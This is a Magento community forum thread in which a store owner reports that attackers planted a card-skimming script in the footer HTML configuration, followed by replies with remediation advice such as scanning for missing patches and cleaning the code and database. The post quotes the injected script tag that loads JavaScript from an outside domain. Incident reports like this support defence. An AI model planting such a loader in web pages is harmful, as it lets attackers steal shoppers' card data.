System -> Configuration -> Design -> Footer -> Miscellaneous HTML
design/footer/absolute_footer Hackers embed malicious code.
Upgrading to Magento 1.9.3.7, or being hacked into malicious code to collect credit card data. Do not know how to fix this loophole, ask technical staff to help.
malicious code:
<script type="text/javascript" src="//baterky-noze.sk/modules/statsdata/js/statistics.js"></script>
Hi @alphaAn,
1. Please go to magereport.com and scan your site to find missing security patches.
2. Install the missing patches if any
--------
Give Kudos if it helped or Accept it as a solution
@alphaAnThere are possibility your site may have hacked and it will require proper implementation of risk mitigation. Upgrading the site or implementing the security patch may not help as you are already affected. You can upgrade/install security patch to secure your site from future attacks.
Step #1 would be to scan your site code and database. You need to remove any malicious code you find in database or in the code.
Step #2 Follow the Magento Security Tips. You can follow the below URL as well to make your Magento more secure an avoid such issues in future.
https://www.raveinfosys.com/blog/magento/magento-security/
Problem solved? Please give 'Kudos' and accept 'Answer as Solution'.
Many thanks to @Tarandeep Singh for solving these problems through your method. Thanks again.
Hi @alphaAn,
You can please accept @Tarandeep Singh solution if it helped you to solve the problem.
--------
Give Kudos if it helped or if problem is solved Accept it as a solution
Hi @alphaAn
Please visit following links Remediating Your Site After a Malware Attack and Security Best Practices by Magento.
Also for future security updates signup at Join the magento security alert registry